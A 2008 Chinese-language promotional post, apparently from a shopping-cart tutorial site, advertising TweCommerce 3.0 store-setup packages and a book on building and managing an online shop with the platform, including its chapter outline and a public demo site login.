TweCommerce3.0
線上展示站:http://www.tw500.net
管理員帳號:demo@twecommerce.org
管理員密碼:demo

一年3600開店專案(詳細內容)
http://www.twecommerce.org/modules/shop/product_info.php?cPath=27&products_id=77
一,新一代購物網站TweCommerce架設與管理三版一本(oldpa親筆簽名書)
二,Cpanel虛擬主機一年
三,贈送.com .net..等等非.tw國際網址一個
四,免費安裝TweCommerce3.0


一年7800開店專案(詳細內容)
http://www.twecommerce.org/modules/shop/product_info.php?cPath=27&products_id=78
一,最新版TweCommerce3.0購物平台-程式保固一年
二,新一代購物網站TweCommerce架設與管理三版一本(oldpa親筆簽名書)
三,Cpanel虛擬主機一年
四,贈送.com .net..等等非.tw國際網址一個
五,免費安裝TweCommerce3.0

購物車研究站Oldpa

這是我攫取下來的前台頁面
attachments/200812/2741705358.png
這是我攫取下來的後台頁面:
attachments/200812/7437187422.png
---------------------------------------------------------------------
以下是官方的首頁預告:
---------------------------------------------------------------------

Twe-Commerce 3.0 三版預告
發表者 oldpa 開 2008-10-15 11:54:23 (731 人氣)

線上展示站
管理員帳號:demo@twecommerce.org
管理員密碼:demo

新一代購物網站架設與管理Twe-Commerce 三版

本書的描述:
透過清楚的步驟式說明,協助讀者完成網路商店的架設與管理。
解析最新TWE-Commerce3.0佈景架構與操作流程。
穿插目前最夯的AJAX運用,與SPRY的JavaScript library運用。
透過目前許多程式資源的分享下,本書將著重在對於佈景的置換與編排設計上作詳細探討,期間將穿插一些AJAX與SPRY的JavaScript library運用,期望能給新的USER與目前營運中的網路商店多一些額外的變化,讓整個網路商店的介面更美,操作更人性化。

本書特色:
TWE-Commerce3.0更簡易的安裝步驟
TWE-Commerce3.0全新佈景架構
TWE-Commerce3.0與AJAX的運用
TWE-Commerce3.0與SpryTabbedPanels的運用
TWE-Commerce3.0與SpryCollapsiblePanel的運用

章節大綱:
第一章 TWE-COMMERCE 購物平台介紹
第二章 SERVER(網站伺服器)安裝
第三章 安裝TWE-COMMERCE3.0
第四章 商店管理
第五章 商品圖片
第六章 Twecommerce3.0佈景架構
第七章 Twecommerce3.0後台程式架構與Spry CollapsiblePanel
第八章 SpryTabbedpanels的運用
第九章 當Twecommerce3.0遇見AJAX
第十章 常見問題與小技巧
第十一章 討論區

購物網站架設教學【網路補習班】教學基地:致力於收集各類購物網站教育資料及技術資訊,便於本人和廣大網友及店家查詢檢索,無論公司或個人認為本站存在侵權內容均可與本站聯繫,任何此類反饋資訊一經查明屬實後,將立即移除!